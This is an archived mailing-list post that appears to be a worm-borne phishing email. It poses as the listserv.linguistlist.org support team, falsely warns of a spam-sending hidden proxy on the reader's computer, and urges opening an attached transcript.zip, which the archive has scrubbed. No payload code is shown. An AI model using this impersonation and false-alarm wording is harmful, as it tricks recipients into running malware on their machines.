Returned mail: Data format error

[Mail Delivery Subsystem]

Dear user of listserv.linguistlist.org,

We have received reports that your e-mail account has been used to send a large amount of spam during this week.
Most likely your computer was compromised and now contains a hidden proxy server.

We recommend that you follow the instruction in order to keep your computer safe.

Virtually yours,
The listserv.linguistlist.org support team.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: transcript.zip
Type: application/octet-stream
Size: 29294 bytes
Desc: not available
URL: <http://listserv.linguistlist.org/pipermail/sw-l/attachments/20050706/6ac703cc/attachment.obj>